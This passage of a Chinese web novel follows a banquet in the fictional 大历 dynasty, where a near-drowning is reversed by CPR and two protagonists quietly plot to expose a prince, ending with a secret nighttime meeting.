“长安城里想攀高枝的人比比皆是,如尚东家这样的才是少数,郎君一时想差了也是正常的。”李嬷嬷搭话,他们一路过来,起先从丫鬟那里得知尚柒携礼上门,还以为是用来讨好郎君,以便叫郎君带他们家的小哥儿去赴宴。 哪想人家一过来就道自家孩子不懂事,这礼也不是什么用来讨好人的,反而是谦礼,能为小孩无心之言特地走一趟的兄长,又怎会是拿弟弟妹妹去博前程趋炎附势之人。 误会了人家,赵厢自然愧疚,想着不过带小哥儿见见世面,也不是什么大事,应了两家关系还能更亲近些。 尚柒这招以退为进,最要紧的还是脸好看,外人瞧着只觉得尚柒说话真诚,半点不怀疑他别有用心。 尚乌桕在家得了阿兄的准话,高兴的同时还略有些心虚,毕竟他突然打算去宴会,也是准备大海捞针,万一没捞着就算了,可要是捞着了,阿兄必然会知道,到时候肯定少不得一顿罚,希望不会告别甜品屋的糕点太久。 …… 别府,一早苏怡然身边的侍人就到梧桐苑候着,半点不给别此云避开的机会,换了新衣裳,就被引去马车,往开宴的孙府去。 孙家在长安地位和别家大差不差,但早年攀过大世家的姻亲关系,虽然已经过了三代,但孙家这一代为官都身居要位,于长安也有几分薄面。 请不来大世家的主母,膝下的儿媳儿夫郞总能请来。 前来赴宴的娘子郎君也多是熟人,来的早的三三两两聚集在一块说着家常闲话,有带孩子的,也都叫伺候的人将孩子聚拢在一块玩,自己偷懒躲闲。 赵厢带着两个孩子到的时候,人已经到的七七八八,来之前他特意嘱咐了苏长屿照顾好尚乌桕,真到了地方又担心尚乌桕融不进孩子们玩闹的圈子。 只是他也不好特立独行,又细细叮嘱了一番,叫李嬷嬷跟着才不放心的去了娘子郎君一方。 “日头是越来越热了,孙府去岁该是囤了不少冰,宴上竟然一点热气都没有。”世家年年冬日会囤冰夏日用已经是老习惯了,但小一些的世家,也只有主人家日日有冰盆驱热。 “说不得是要讨好谁呢,往日孙家开宴也没见这么大方。” “讨好谁?” “你没听说,今日宴上请了柳家的人。” “柳家怎么了?往日宴上也没少见柳家人过来。” “此柳家非彼柳家,长安城里的柳家不过蒲州柳氏的一脉分支,我说的柳家是蒲州柳家人。” “可没听说蒲州柳家的主母到长安了?” “来的低调,除去柳家的主母,还有一位柳家的嫡系子也到长安了,说不得今日就是为这位柳氏子相看的。” “柳氏相看能看上你我这等门第?今日萧谢王崔可没来人。” “这谁料的准,没见宴上多了些生面孔。” 生面孔别此云入宴后,依旧一副孤立所有人的模样,不紧不慢的坐在一旁饮五色饮,左右他答应他娘过来是闲来无事,可没听说要来宴上见什么人。 “今日别府只来了主母和一位公子,有你认识的吗?”苏长屿偷偷摸摸的和尚乌桕搭话。 “不认识。”他就是认识书墨哥哥,但跟着这位别府公子身边的哥儿不是书墨,可能找错人了。 果然大海捞针,本也不该抱什么希望。 “别灰心,我们多找几个总能找到。” 第29章 但很快尚乌桕和苏长屿就没心思关注宴会上的事, 凭借尚乌桕活泼开朗的性子,在一群未满十岁的孩童中间,称得上游刃有余, 不论小哥儿还是小丫头, 甚至小儿郎都被他治的服服帖帖, 不多时就隐隐要混成小孩群里的老大。 连带着小弟苏长屿也沾了光, 平日他来宴上,可跟其他孩子说不上话,今儿都凑到他跟前,便不是想跟他搭话,也会说上几句, 比以往的宴会有意思多了。 小孩们的世界吵吵闹闹, 大人们的世界却正暗涛汹涌。 自打柳氏主母赴宴的消息传出来, 那些个带了姑娘哥儿一块过来的娘子郎君都悄悄吩咐下人叮嘱自家孩子好好表现。 虽不知柳家主母看上了哪家公子贵女,但只要人没定下大家伙不都有机会?反正瞧着在场的也没谁是大世家出身, 既然没有谁更高人一等,凭什么自己孩子不行? 别此云坐的位置偏僻, 将宴上诸位的举动瞧得一清二楚, 这位柳确面都没漏, 就跟个香饽饽似的引人争相抢夺, 若非知道是个世家嫡系出身的少爷, 还当是什么国色天香呢。 也就在此刻,万众瞩目的柳家主母终于是到了, 按自家夫君官位算,在场也不是没有比柳家高的,但往日里心高气傲的娘子郎君都放低姿态起身迎接,可知天下又渐渐回到世家手里了。 只是柳家不止一人赴宴, 除去柳家主母,身边还跟了个相貌俊俏的小哥儿,瞧着约莫十五六,许是柳家小辈。 别此云瞥了一眼琴砚,却见琴砚轻微摇了摇头,示意不知道此人的存在。 等柳家主母入宴,宴会更是热络起来,原本闲谈的娘子郎君也都纷纷同柳家主母搭话,一时气氛好不快活。 别此云又瞧了一眼他娘,表情不是很好,估摸着这相看的事要吹了,也不打算继续留在场地看戏,悄摸带着琴砚离场透气。 宴上走动的公子贵女不少,只是柳家主母到之后,大部分人都被自家娘亲阿耶喊了回去,在柳家主母跟前露个脸,于是别此云一路走来,竟一个人都没撞见。 “那头做什么吵闹?”别此云离宴会远了些,耳边传来轻微的嬉戏声。 “许是宴上娘子郎君带来的小孩。”要说小孩玩闹,不该离主宴厅房太远,不然闹出了事,家长都不能尽快赶过来。 偏今个儿走了这样远才听见嬉闹,大抵是孙家知柳家主母要来赴宴,怕扰人清净,特意安排了较远的院子。 “小孩,算了换个方向。”别此云不太喜欢小孩,真要是撞见一堆孩子,光看着就头大。 正和小孩玩捉迷藏的尚乌桕可不知道自己心心念念的别公子与他擦肩而过。 宴席过半,原本聚拢在一处厅房的娘子郎君也都陆陆续续散开,倒不是她们不想继续熟络,而是柳家主母态度一直不咸不淡,许多人见相看无望也不打算继续热脸贴着冷屁股。 苏怡然没走,面色却也不大好,要说给自家哥儿寻个青年才俊做夫婿那肯定是极好的,且今日把此云带过来先过柳家主母的眼,也都是有中间人牵线搭桥,柳家主母万不该是这个态度。 要么是中间人骗了她,要么就是柳家人瞧不起他们别家,故意摆脸色。 低娶高嫁,总是有人要受委屈,苏怡然连今日的气都受不过,更不可能要自家哥儿去别家受气。 结亲的事在她这儿作罢,自然待人的态度也开始意兴阑珊,哪想柳家主母带来的娘家哥儿不依不饶,当着苏怡然的面提起别此云,说是在老家听闻别家公子的名声,想要见见。 “苏夫人今日是带来自家哥儿过来的,只是宴上没见着人,许是去其他地方游玩了。”宴上有聪明的也寻摸出这宴到底为谁办的,此刻见叶哥儿突然提起别此云,自有和苏怡然不对付的撺掇。 “叶小哥儿说笑了,我家哥儿因为身体不好常年在道观修行,哪里有什么厉害的名声。”苏怡然回了叶小哥儿的话,又不咸不淡的看了一眼方才接话的娘子,把人看的讪讪闭嘴,才算了事。 “栖儿,满屋都是长辈,你一个小辈留下作陪难免不自在,也去外面走走。”柳家主母发话,叶栖只小声应了就出门去。 小辈一走,还能留下套近乎的娘子郎君多是不顾及颜面,甚至都有过问柳确的,但都被柳家主母三言两语打发了,半点看不出要给人相看。 而出门的叶栖也没有瞎逛,仿佛认准了别此云,非要见一见人才算作罢。 孙家招待客人的地方不小,但也不算大,叶栖只多走几个地方就遇上了别此云,他是不认得别此云的,架不住孙府伺候的下人认识。 这头别此云尚闲的无聊问孙府的下人要了鱼食喂鱼,那头就见一个小哥儿目标明确的走到他跟前。 按年岁,别此云要大一两岁,又因为是北方人,个子也高,虽然比不过儿郎,但在哥儿里是拔尖的,来人比他矮半个头。 “你就是别家的公子?”叶栖的语气说不上好也说不上不好,反倒是打量的目光引的别此云偏头瞧了一眼。 叶栖的身份在宴会上他就弄清楚了,出自涿州叶氏,叶氏按资格也比得上时下几大世家,奈何大历建国后,叶家子弟少有出息的,门第渐渐落后柳萧谢王崔五家,但百足之虫死而不僵,叶氏再没落也稳占世家第六的排名,一般小世家还是碰不上瓷。 “你为何不答话?”叶栖被看的后脊发凉,这样的眼神他只在父兄身上看到过,眼前的哥儿如何有他父兄那等气势。 “叶公子见谅,我家公子昨日感染风寒,嗓子不舒服。”琴砚适时出来解围,他家公子一向是话不投机半句多,叶栖在他家公子这儿怕是没有好印象。 “既生病了还要赴宴,你就这样想嫁我表哥。” “你表哥是谁?”别此云转过头,继续不紧不慢的向鱼塘撒鱼食,殊不知这句话像是点燃了炮竹的引线,叫叶栖怒火中烧。 “你不必在此装模作样,今日宴会你为何会来你我心知肚明,但我告诉你,世家门第不是那么好攀的,别家还够不上柳家的门第,我表哥也绝计不会喜欢你。” 把他当情敌来警告,别此云有些无聊的想,十五六的哥儿心里只有这些事吗? “你听没听见我说话?”叶栖头一次被冷暴力,气的眼眶通红,长安的公子怎么半点礼数都不讲,不知道别人说话不回答是不礼貌的吗? “还有事吗?”再继续闹下去,都要把鱼塘的鱼吓跑了,他只想安安静静喂鱼到宴会结束,不想和未成年争论谁能配的上他表哥。 “你……”叶栖气的发抖,还要继续说什么,却隐隐约约听见远处的谈话声,等他回头,果然看见有不少姑娘哥儿在朝这边看。 继续闹下去,丢人的只会是他,找麻烦没找成的叶栖恶狠狠的瞪了别此云一眼,转头离开。 “我瞧叶公子气的厉害。”琴砚也没把小哥儿的话放在眼里,说到底为了一介男子争风吃醋,已经不能和公子相提并论。 “年纪小,气性大,正常。”别此云并未将叶栖的话放在心上,“等回去问问尚柒那头准备好了吗?齐王的事要赶在西南消息传回来前办好。” 若等五皇子事发再揭露齐王的事,要么赶在广运帝气头上被一同重罚,要么被轻拿轻放,比起勾结边军,只抢几个美人回府不小心弄死,不过小事。 “不若请尚东家到府上一叙,前儿我还听大少爷说要再请尚东家过来给少夫人继续诊脉。” “这才过去几日?尚柒上次开的药该还没吃完才是。”别此云算算日子,未免太急了。 “想是药起了效用,大少爷打算再请尚东家过来看看。” “回去问问阿兄那边的情况再说。”别此云对医术不怎么了解,也不知药效会不会那么快,但尚柒到府上来,肯定比他出府更方便。 正想着,一阵轻微的喧哗过风入耳。 “公子,我去看看情况。”琴砚步履匆匆的离开,别此云皱了皱眉,将手里的鱼食都扔进水里,也快步过去。 这类宴会出事的概率说大不大,说小不小,有不少坏心眼想攀高枝的儿郎最喜欢这样干,毁人名节,娶人为妻。 但今日来宴会的儿郎最大不过十岁,就是天赋异禀有这个心思,这招使出来也没用。 等靠近,别此云眼力极好的看见水里有人扑腾,岸上围了不少姑娘哥儿,大部分被吓的面色发白,但一个下去救人的都没有。 琴砚是会水的,见人落水,周围又没人下水,多半都是旱鸭子,回头看了一眼公子,得了公子点头,就下水捞人去了。 扑腾的人动作已经不如之前激烈,想必呛了不少水。 “孙府的下人在哪里?”别此云走到岸边,目光落在几个丫鬟身上,“搭把手,把人拉上来。” 几个丫鬟如梦初醒,看见下水的人已经把落水的人带到岸边,纷纷伸手拉人上岸,真要是有主子在孙府出了事,她们必然没有活路。 琴砚上岸后,才发现落水的是叶栖,只是人现在面色发白,已然不省人事,甚至从人胸膛起伏的弧度能看出呼吸已经很微弱了。 “公子,这?” 别此云脸色也阴沉下去,他不会心肺复苏,但眼看人不行了,只能先死马当活马医。 旁人不知道别此云为何蹲下,但也不敢靠近,万一人死了赖上他们怎么办? “姿势错了,双手交叠后要垂直向下压,位置再偏右一些。” 第30章 别此云心肺复苏的动作在听到一道稚声响起后, 微不可查的顿了一下,便照人说的继续。 “再请过来一位哥哥,给小郎君清理口鼻内的异物, 等别公子按压三十次后, 给小郎君渡两次气。”尚乌桕也是听见动静过来的, 没成想竟然是有人溺水。 长平村附近有条河, 夏日里常有小儿贪凉下水嬉闹,人去的多了总有几个中招的,阿兄教过他如何急救,只是他年纪太小,无论是心肺复苏还是人工呼吸都不行, 一个力气不够, 一个肺活量不够。 心肺复苏是个气力活, 一般姑娘哥儿都做不长,更不说眼下这群人里, 都是锦衣玉食养大的,手上顶多拿过毛笔和绣花针。 “琴砚, 过来, 照他说的做。”别此云知道这时候没有其他人愿意插手, 他和琴砚两人也足够了, 若是待会力气用尽, 正好和琴砚交换。 琴砚一身池水,却也没工夫去更衣, 听公子的话跪在叶栖身边,微抬叶栖的下颌,迫使人张开嘴,再伸手进去清理。 等自家公子那头按压停下, 又低头给人渡气。 尚乌桕靠的近,时刻观察落水的哥儿,根据喧哗声传出来的时间,眼前的哥儿入水的时间并不长,但万一运气不好呛水过多,要救回来也没那么容易。 若是阿兄在就好了,以前村里溺水的人都是阿兄救回来的,光靠他一个没出师的大夫,根本不能应对所有突发情况。 “请府医了吗?”说起大夫,尚乌桕想起苏长屿说过,世家一般都养的有府医,有人落水是大事,府医怎么还没过来。 “回小郎君,已经着人去请了。” 那府医也来的太慢了,尚乌桕又扭过头,目光一动不动的看着费力救人的二人,终于再第四轮按压的时候,躺着的叶栖有了动静,咳出了池水。 人救活了。 别此云双臂发麻,再压下去他不一定能坚持的住,不过总算没白费。 就在琴砚要搭手扶公子起来的时候,一双更小的手先一步伸过来,只是人力道不够大,便自作主张的把公子的胳膊搭在肩上,企图让公子撑着他的肩膀起身。 “别哥哥,没事吧。”尚乌桕咧嘴一笑,他没想到事情竟然会峰回路转,原以为宴会上见到的别公子不是阿兄认识的别公子,但见人对溺水救治的法子,便可知定然和阿兄有干系。 真是踏破铁鞋无觅处,得来全不费工夫。 “没事。”别此云也大抵猜出眼前小哥儿的身份,别的不提,他在宴上也见过尚柒的邻居赵厢,尚乌桕许是跟着赵厢出门见世面的。 这头的动静也终于是把宴席上的娘子郎君全吸引过来了,为首的柳家主母连带着孙家管家的夫人都步履匆匆,周围看热闹的姑娘哥儿也都识趣的纷纷让路,知道内情的丫鬟也赶忙往前汇报。 原本见自己侄儿浑身是水,还在思索是不是和别此云起了冲突导致的,没成想人竟然是别此云救起来的。 “虽是盛夏,但在水里走一遭怕也容易伤身,还是快快带叶哥儿换上干净的衣裳,再请大夫看过才是。”苏怡然走上前,先发话,孙夫人哪有不应的,立刻叫身边的嬷嬷先带人离开。 至于叶栖究竟是怎么落水的,柳家主母肯定会弄清楚,宴上耍这等手段对付叶氏的人,也是蠢透了。 但这跟苏怡然没什么关系,只管作陪一会,就打算告辞了。 左右叶栖落水的时候他家哥儿不在场,甚至一群人见着叶栖落水都不曾施以援手,还是他家哥儿连带着身边人救下的,怎么说也是这位叶夫人欠她们的,没道理救命恩人还要遭人审查。 一场闹剧没那么容易结束,小孩子们也都被吓到了,不过更多的还是被尚乌桕临危不乱的模样震慑到了,一个个都挤着要问尚乌桕怎么会救人呢。 “公子。”琴砚也换了一身干净的衣裳回来,“那便是尚东家的弟弟,尚乌桕?” “应该是。”且这小哥儿实在聪明,竟然认出了他的身份。 “回去后是否要告诉尚东家一声?”尚东家没有安排弟弟妹妹见公子,就是怕两个小的不小心透露公子背后做的事,哪想阴差阳错竟然在这样的场面下见了面。 “我不必说,尚柒也会知道。”别此云已经想明白尚乌桕为何会出现在宴会上,这小哥儿是来蹲他的,要说往日宴上多半是瞧不见他,偏巧今日他赴宴了。 赴宴也就罢了,左右他身边的人没有泄露,若是平平安安等宴会结束,尚乌桕怕是根本寻不到他,可谁料有人落水,把宴会上的人都吸引过去不说,尚乌桕也瞧见他会一点心肺复苏。 想来也是在这上面露了根脚,被人喊了一声别哥哥。 而尚乌桕虽然应付着小孩,目光却时不时落在别此云身上,刚到宴会上他就见过人,当时心里还感叹好漂亮的哥哥,比他在西南认识的姑娘哥儿还要好看很多倍,只是人看着不太好接近。 别哥哥出身别家,阿兄要是想娶人,不太好实现,他们尚家的门第太低了,别家根本看不上。 不过话又说回来,万一别哥哥也喜欢阿兄,明娶不成只有暗抢了,他是完全支持别哥哥做他嫂夫郞的。 人好看,心底也善良,全场这么多姑娘哥儿,只有别哥哥出手救人,可见人品一流,和阿兄是天造地设的一对。 …… “阿嚏——”尚柒抬起衣袖,打了个喷嚏。 “尚兄可是偶感风寒了?”谢琅见人聊的好好的,突然来这么一下,关心道。 “未曾,许是谁在念叨我。” “尚兄可不要忌讳忌医,我在长安也认识几个好大夫,医术尚佳,区区风寒一贴药下去必然药到病除。” “谢少爷是不是忘了我也是个大夫,医术不说绝顶,也在西南有几分名声,一贴药下去药到病除,未免夸张。”真这么见效,多半是猛药,亏得这个时代没有抗生素和激素,不然一定泛滥成灾。 “不是我忘了,而是尚兄你根本没说你是个大夫,我只知道你家卖药材,却不晓得竟然是医学传家。”谢琅不由得打量人,尚柒非是夸大其词之人,人说在西南有几分名声,想必医术的确不错。 但尚柒才多少岁,与他交谈,文章典故无一不知就算了,还能腾出手学医术? “我没说吗?”尚柒一顿,好像的确没有,他倒没习惯见面就给人介绍自己会医术,在西南,他也不必自己介绍,多的是地方豪强给他介绍生意。 “的确没有,不过尚兄你老实说,当真不是世家出身?”谢琅世家出身,也见识过寒门庶民里略有成就的儿郎,但因为资源有限,难免逊色世家。 像尚柒这样言行举止于世家无异的庶民还真不曾见过。 “我家祖上几代都是农户,到我这代更是降为商户,如何能攀上世家的高枝。”尚柒言辞间像是在恭维世家,但瞧面上的态度不卑不亢,就说明这话不过谦辞。 “看来是我小觑天下能人了。”谢琅也不再寻根问底,就算尚柒真是哪个世家私生子跟他的干系也不大,“齐王的事尚兄办的如何了。” “已经寻到不少苦主,只是陈年旧案不好追踪。”死的久了,乱葬岗的尸骸都变成一具白骨,抬到公堂,搞白骨滴血认亲那套风险太大。 “旧案不好追踪,看来尚兄寻到新案了?”谢琅是知道尚柒原先在西南办事,此次来长安是头一次,可以说尚柒在长安毫无根基,但尚柒办事速度一点不慢,手中必然有能人。 “再过两日就有人去万年县大闹,到时候还要靠谢少爷吹一股东风到满长安。”尚柒当然知道要整治齐王宜早不宜迟,等这次出完手,长安得热闹一段时日。 “好说,齐王那家伙行事嚣张,我早看不惯了,若能叫他收敛一二,再好不过。”谢琅明摆着要当乐子人,不光不劝还要添砖加瓦,让火烧的更旺。 回到家,尚柒算算时辰,尚乌桕该回来了才是。 宴会一般下午结束,怎么这么久都还没动静,难不成宴上出了什么变故? 就在尚柒要着人去苏府问问的时候,尚乌桕带着一大堆东西出现在门口,兴奋的向尚柒挥手。 “阿兄我回来了。” “怎么这么晚?可是在宴上玩过头,叫赵郎君为难多留了?” “才不是,今日宴上有人落水,事后落水哥儿的姑姑硬是把宴上的人留下查了个明白才放人,我因为救人出了力,叶夫人便送了不少东西给我。”尚乌桕可是头一次挣钱,兴奋的不得了。 “你救人?”尚柒眉心轻皱,非是他看不起自家弟弟,而是尚乌桕年岁小,就是有法子自己也来不了,但要外人信任一个九岁哥儿的话行事,也跟天方夜谭没什么区别。 “我只是动了动嘴皮子,动手的另有其人。”尚乌桕说着声音都低了几分,眼睛也左看右看,就是不肯看尚柒。 “……别告诉我救人的是别公子?”尚柒在世家人脉有限,这场宴会上能够出现且愿意相信一个九岁小儿说的救治办法,只有一位。 “阿兄当真是神机妙算。”尚乌桕企图蒙混过关。 得了准话,尚柒深吸一口气才稳住情绪:“所以去宴会,也是想见一见清闲观背后的别公子究竟是谁?” “嗯啊。”尚乌桕含混一声,就知道躲不过阿兄。 尚柒就知道,孩子静悄悄必然在作妖,亏得他还以为尚乌桕是在家里憋闷想要出去玩,结果是为了查别此云的身份。 “进屋,从头到尾将你在宴上的所见所闻都说给我听。”《 》 30-40 第31章 “……事情就是这样, 以前阿兄你说世家大族做事都不折手段,我还不信,今日才算见到了世家内里的肮脏。”尚乌桕说的义愤填膺。 宴会上的事说来也不复杂, 究其缘由还是柳家主母要给嫡子相看的事抖落出去, 不少人起了心思。 哪想柳家主母身边还带了一个侄儿, 看柳家主母的态度, 心底估计是属意自家侄哥儿,于是有人一时打了歪主意,想着叶栖死了柳确的亲事便没那么容易定下来。 事后一个个盘问,自然也抓到是谁使坏,背后的世家门第不算高, 当然能够在长安混, 也非是一点地位没有, 方才养成了一副横行霸道的行事风格,只是面对叶氏, 老一套欺软怕硬就行不通了,就是家主亲自登门赔礼道歉, 这事也没那么容易结束。 “很正常。”时下大族亲事, 哪有爱情可言, 多还是利益博弈, 像是没有根基的儿郎想要往上爬, 个个都拿出十八般武艺,门楣低的姑娘哥儿想要嫁的好, 自然也要耍些手段。 不过涉及人命,事情就大了,尚柒是不知叶氏最后要怎么解决这个问题,但若是犯事的人在家里不够受宠, 恐怕命是保不住的。 但这些与尚柒无关,杀人偿命天经地义,叶栖没死成是别此云的功劳,不是白给他人脱罪的理由。 “阿兄,别哥哥真好看,比礼县的所有想嫁阿兄的哥哥姐姐都好看。”尚乌桕被揭开目的,索性不装了。 “笑容收敛一些,你便是个哥儿,如此评价另一个哥儿,也不合礼数。”尚柒扶额,别此云的确生的好看,但他第一次见面关注的点全在两人针锋相对的言辞上,之后更是共谋大事,哪还关注这些。 “先前阿兄才说我是小孩子,既然是小孩子讲那么多礼数干什么。”尚乌桕忿忿不平,他还不能说人好看了。 “算了。”尚柒妥协,“此云和我有生意上的来往,但对外我们只称谈得来的友人,万一有人像你打听他的消息,知道该怎么说话吗?” “阿兄,我又不是三岁孩童,再说了,我可是你一手养大的,只有我套别人消息的份,放心好了,我一定保护好未来嫂夫郞的消息。”尚乌桕小手一挥,霸气侧漏的回复。 “他不是你未来嫂夫郞。”尚柒痛苦的反驳,他不记得什么时候给过他喜欢别此云的暗示。 “哼,他就是。”尚乌桕说的笃定,“我可是听说这次宴会,就是为别哥哥和那什么柳少爷办的,若不是出了这档子事,说不定别哥哥都被人抢走了。” “……”尚柒疲惫的拍了拍尚乌桕的肩膀,不理会人话里的暗示,“你去休息吧。” “可我还没吃晚饭。”尚乌桕揉了揉肚子,宴会上就这点不好,连个饭都吃不饱。 “那就去厨房看看有什么能吃的,我想自己一个人待一会。”再不打发走这个小鬼,尚柒确信他们还要为别此云争吵一番。 尚乌桕像是反应过来什么,露出安慰人的神色,又拍拍尚柒的手臂:“阿兄放心,别哥哥的娘和叶夫人相处的并不愉快,婚事肯定吹了,但你也不能放松警惕,实在不行你就想办法偷偷把别哥哥带走,到时候我们跑去西南,就是天王老子来了,也不能分开你们。” “我就说不能让小孩过早的看话本子。”尚柒神色复杂的看向乌桕的背影,他和别此云什么事都没有,便已经在乌桕这里演完一出捧打鸳鸯私奔记了,真要有什么还得了。 不过,此事也提醒他,别此云的确被催婚催的厉害,之前这人还说能够应付,现在都不得不去宴上了。 此事他能帮得上别此云吗?如今他和别此云是一条绳上的蚂蚱,别此云真的成亲,不管对方是谁,都有风险暴露他们的计划。 更何况尚柒不认为这个时代的男子能够大方的接受自己的夫郞与外男接触,哪怕未婚夫也铁定不乐意。 但他要怎么帮别此云呢?长安的世家权贵又不如地方豪强好控制,他是有些小聪明,可时代的鸿沟不是光聪明就能填满的,至少没有势力之前,他没有帮别此云的资本。 他得去找别此云一趟。 也是巧合,尚柒这头瞌睡刚来了,别景季那边就送了枕头,别家大少爷又下了请帖让尚柒到别府诊治。 …… 宴会的插曲对别家没什么影响,除开苏怡然叮嘱最近别此云不出门。 别此云出不去,不代表尚柒进不来,别景季请尚柒给张青浣看病的事别府知道的人不多,就是知情者也多不抱希望,不曾过问。 这次别景季下帖,主子里除开夫妻二人,只有别此云知道,不过他确信兄长多半是不肯让他再去,就怕他和尚柒过多接触。 说来,兄长的直觉也不算错,他曾以为,这世界芸芸众生没一个和他有相似的灵魂,不想老天爷还是有点人情味。 尚柒的出现像是他多年的阴霾终于被一缕阳光突破,得见天日。 若非是他的身份的阻拦,他定会追求尚柒,毕竟尚柒生的好,脾性也好,更不说他们拥有共同的秘密,如果一定要选择伴侣,尚柒就是最好的那个。 可世上总是十有八九不如意,在没有彻底和家里决裂之前,他和尚柒是不可能被允许在一起的,而他真要是离开长安,说明事态也发展到严重的地步,那时候局势岌岌可危,没时间给他谈恋爱。 当然了,最重要的还是尚柒愿意,不过眼下根本走不到尚柒愿不愿意这一步,他们的关系最好保持在合伙人的位置上,这样他才能完全理智的走好每一步。 “公子,叶夫人遣人送了重礼过来感谢。”琴砚得了夫人院里的消息过来。 “除了重礼还有别的什么吗?”不管叶栖是否是叶夫人给儿子属意的夫郞,凭借侄儿的身份,叶夫人都要感谢别此云出手相救,送礼感谢在别此云预料之内。 “今日过来送礼的是叶夫人身边伺候的嬷嬷,礼送到了还去夫人院里说了会话,旁的没什么。” “娘什么态度。”别此云心生警惕,叶夫人宴上对他们家态度并不和善,就算送谢礼,寻常外院办事的管事足以,怎么还把身边的嬷嬷派来了。 “夫人只客气招待了人一盏茶,就吩咐红酥姐姐送人出去了。” “叫书墨多盯着柳家,最好能遣人进去打探打探消息。”叶夫人突然示好对别此云来说,不是好消息。 “是。” 叶夫人,叶栖,柳确,别此云看着三人,只凭宴会所见所闻,他基本能确定叶夫人对叶栖极好,而叶栖喜欢柳确,凭借叶家的地位,这本该是一场好姻缘才对。 为何柳确不和叶栖定亲,而叶夫人也自降要求,和中等世家联姻? 柳确不喜欢叶栖?不,这个可能性虽有,但大世家向来不谈喜欢,柳叶两家本就有姻亲关系,柳确和叶栖再成亲,就是亲上加亲,对叶柳两家都好。 或者是叶栖这边出了什么问题? 别此云眉心轻蹙,最好不是他想的那样。 暮云堂。 别景季和张青浣正在招待尚柒,上次因为家里突发事故怠慢了人,他们夫妻二人还过意不去,这次特意告诉了家里人他们在待客,不必担忧有人打扰。 “如何了?”别景季瞧着尚柒收回把脉的手,心里也颇有些紧张。 “情况比上次好多了,药方我再改两味药,但要彻底治好,最少要半年时间。”所以不必有什么轻微变化就大动干戈请大夫,至少等把他开的药吃完,不过这话尚柒没说出来。 “先头这么久都过来了,只半年就能看好已经是天大的福分,我们夫妻二人还要多谢尚大夫。”张青浣吃药前还半信半疑,现如今再没有怀疑尚柒的地方,只盼能够结交好这位神医,日后有个三灾六病,有个保障。 “看病救人,是大夫的本分,不必言谢,再说,二位也没少我诊金。”尚柒说着玩笑话,果然叫二人也眉开眼笑起来。 病的事揭过,别景季夫妻就与尚柒话起了家常,世家出身的人,只要想交好,再没有聊不上的话题。 尤其是聊的深入后,别景季发现尚柒竟然在文学上也了解颇深,至少接上他提及的话题游刃有余。 “我观尚大夫对九经颇熟。” “平日无事,喜欢翻翻书,九经是儒家经典,自然也看过一些。”尚柒不是文科出身,所有古书都是在大历学的,要说多厉害也没有,他知道自己水平在哪儿,但遇事不决全背下总不会有错。 “那尚大夫可有想法考明经科?” 时下科考常科主要两门,明经科和进士科,前者容易考一些,但考上了前景有限,后者难一些,但若登榜,往上爬的机会更多。 自然了,常科还有些不怎么出名的,如明法、明算之类的,都算偏门,一般不到万不得已都不会去钻研。 “别少爷,我虽会治病,但本职其实是商人,商人不得科举。”真要入朝为官,尚柒肯定更愿意走进士科,不然做个小官也不值当他三更灯火五更鸡。 “尚大夫想来也是关注过科举的,商人明面上不能科举,但私下献干谒诗的从不见少,如今朝中也有一些官员是商人出身。”别景季看人的本事不算差,他笃定尚柒真若参加科举,是有本事中的。 虽说眼下寒门庶民登榜的概率越来越小,但陛下绝对不会让榜上一个寒门出身的人都没有。 第32章 “别少爷见笑了, 我于诗赋一道没什么才能,恐怕入不了贵人的眼。”尚柒微笑婉拒了。 现在大历什么情况一般人不知道就算了,世家还能不清楚, 这会入朝为官能有什么福享, 说不定哪天来了乱军围攻长安, 转头成了祭天的刀下亡魂。 当然, 如果有什么特殊情况,他也不是不可以试试。 别景季叹气,揭过此事,其实尚柒真要是想参加科考,凭借别家在朝中的名声, 未必不能给他挣一个资格, 奈何尚柒不愿意, 他也不好自作主张。 “说起来我也好些时候未见别公子,先前还说有空我们一块论道, 奈何近日杂事缠身,一直不得空, 希望别公子没生我的气。” 尚柒不经意提了一句, 态度坦然, 叫外人看去也只觉得他和别此云的确是君子之交。 “此云近些日子也不得空。”张青浣略略提了一下, 话题又转到尚柒身上, “尚大夫也向道?” “道医不分家,学医术的时候也多少了解一些。” “尚大夫尚未及冠, 医术儒学道学都略有涉及,可见博闻广识,不日有场文会,都是长安有些名气的读书人参加, 尚大夫有兴趣去吗?”别景季惊喜于尚柒的本事,想要深交,而世家子弟交往都少不了各类宴会。 “近日行程不定,可能去不了。”尚柒未曾应下,等齐王的事被掀开,朝堂之上必定沸沸扬扬,文会办不得办的下去都说不好。 而齐王这头事了,紧接着五皇子的事又如惊雷炸开,到时候皇帝一定会敲打各大世家,在没有撕破脸前,世家还是要夹起尾巴做人。 不过看别景季和张青浣两人严防死守,恐今日在别府见不到别此云,难不成夜里他还要当一回梁上君子? 来别府三次,不说将别府内部结构摸清楚,但从哪里能翻墙入院他已经记下,去梧桐苑的路也不复杂,尚柒有自信能摸过去。 显然别此云也打的这个主意,尚柒出府的时候,门房不经意塞了一则纸条给他。 亥时三刻,梧桐苑见。 尚柒不动声色的藏好纸条,点头同别景季道别,等马车回到尚府,就换了一身练功用的紧身衣,赶着坊门关闭的时间到别府附近隐匿。 就算夏日夜短,亥时还是太晚了,戌时过半其实天色已经黑了下来,守在别府外容易被巡逻的禁军发现,尚柒一合计还是进梧桐苑。 尚柒做梁上君子的机会不多,但不代表他不熟练,别府处处都挂了灯笼,不过夜里值守的下人不多,大部分都是普通人,尚柒凭借房顶和树杈一路摸到梧桐苑。 院里和上次他来一样寂静,梧桐苑的下人也不多,夜里更是只留了一两人值守防止烛火烧破灯笼,别此云的寝卧烛火通明,窗户半合着,看不到别此云此时在干什么。 尚柒趁值守的侍人打哈欠的功夫,利落的从窗户外翻进屋里,院内值守的侍人听见一道敲击声,四处张望并未发现动静是打哪儿传出来的,吓的人心惊肉跳。 此时,翻窗进人屋子的尚柒正和别此云面面相觑。 尚柒着实来的不是时候。 “你来早了。”别此云面无表情的拉合上寝衣。 “左右天色已经黑了下来,早些进来我还能同你说话打发时间,不至于在外面干等着喂蚊子。”尚柒假装什么都没发生,自然的从窗边走到桌边,寻了个座位坐下。 如果不是对别此云略有躲闪的眼神,估计别此云也会揭过这茬。 “我想赤身裸体你应该在澡堂没少见过。”更何况刚刚尚柒进来的时候,他顶多漏了个肩膀,哪怕没穿衣物尴尬的不该是他吗? “有没有可能,我是南方人。”尚柒语气温和的反驳,就是亲爹的赤身裸体他都没见过。 “……齐王的事你打算什么时候开始?”别此云故作寻常的说起了正事,如果能再掩盖一两分话里的笑意就更好了。 “已经开始了,明日你多半就会听到风声。”别府离万年县也不远,都不用谢琅推波助澜,别府就能收到风声。 别此云点了点头,还不待再开口,尚柒又道:“最近被催的厉害?” 